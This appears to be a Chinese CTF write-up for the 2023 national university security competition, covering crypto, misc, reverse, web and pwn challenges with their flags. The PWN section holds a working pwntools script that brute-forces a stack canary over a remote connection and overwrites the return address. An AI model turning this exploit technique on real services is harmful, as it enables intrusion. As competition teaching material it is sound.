2023全国大学生 信息安全竞赛创新实践能力赛

2023全国大学生 信息安全竞赛创新实践能力赛部分wp

战队 WRITEUP

解题过程

1. Crypto 基于国密 SM2 算法的密钥密文分发

根据要求先随机生成 SM2 密钥对 A。用生成的私钥 A,对服务器发送的 randomString进行 SM2 解密, 用解密得到的十六字节随机数对服务器发送的 privatekey 采用 SM4ECB 解密, 解密得到的明文再对服务器发送的 quantumString 采用 SM2 解密,得到明文,上传至服务 器。服务器显示结果正确,服务器 search 得到flag。
cmd 全部过程如下


flag{f047cf8d-f24f-4d6c-ac3e-faccbd061a9b}

2. Misc 签到卡


需要写 python3 命令来得到flag 文件

直接在打字机里输入 print(open(‘/flag’).read()),得到 flag
flag{745d82f7-70c7-4827 -b28c-db65693fa3c1}

3. Crypto sign_in_passwd

该题为换表 base64,flag 文件中的第二行为表:
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5 用 url 解码得到:
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

用 cyberchef 在线网站解密,按照如下填写,将表填入 alphabet,换表 base64 解密 j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D 得到 flag

flag{8e4b2888-6148-4003 -b725-3ff0d93a6ee4}

4. Misc 被加密的生产流量

用 wireshark 打开文件, 过滤 modbus ,追踪 TCP 流,如下所示

拼接客户端字符,如下:

Base32 解密,得到 flag

flag{c1f_fi1g_1000}

5. Reverse babyRE

打开网页https://snap.berkeley.edu
点击 Run Snap Now
在此网页打开题目所给的 xml 文件
在 secret 列表后添加显示变量



Secret 列表即为输入的 flag 列表前一个字符的 unicode 码与后一个字符的 unicode 码异或 得到的
显然 secret 列表第一个数为f 的 Unicode 码, 可以推出将第一个数与后一个数进行异或, 得 到的结果再与后一个数异或,这样进行下去,可以得到flag
写 python 脚本如下:
secret=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7 ,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
data = []
data.append(102)
data.append(102^10)
for i in range(2,len(secret)):

data.append(data[-1]^secret[i])

for i in data:
print(chr(i),end=“”)

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

标题6. Misc pyshell

利用下划线输出是上次计算的结果,然后用这个方法拼接 open 读 flag

flag{a3695970-195e-445a -aa39-2e06a5516967}

标题7. Web dumpit

sqldump ,env 读取

flag{6ab5a49b-3bbd-4abb-8057-a5c9b0925a6e}

  1. PWN funcanary

对 fork 而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然 canary 值也一样。那我们就可以逐位爆破因为canary 的值的第一个字节总是 0x00,所以 只需要爆破剩下的七个字节就可以了,每次尝试一个字节,如果程序顺利执行则不会出现 terminated\n”
根据上述构造 poc
#!/bin/python3
from pwn import *
from time import sleep
context.arch = “amd64”
io = remote(“47.94.206.10” ,18324)
padding = b"a"*104
canary = b’\x00’
for i in range(7):
for j in range(0x100):
print(j)
io.recvuntil(b"welcome\n")
io.send(padding + canary + bytes(chr(j).encode())) ret = io.recvline()
print(ret)
if b"terminated\n" in ret:
continue
else:
log.info(f"found one")
break
canary += bytes(chr(j).encode())
log.info(f"canary: {canary}“)
io.recv()
data = [”\x02", “\x12”,“\x22”, “\x32”, “\x42”, “\x52”, “\x62”, "\x72 “, “\x82”, “\x92”, “\xa2”]
for i in range(10):
io.send(padding + canary + b"a”*8 + “\x31” + data[i])
print(io.recv())

welcome
flag{2b6b52df-9b68-4b33-873c-ef45481f0ddc}

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值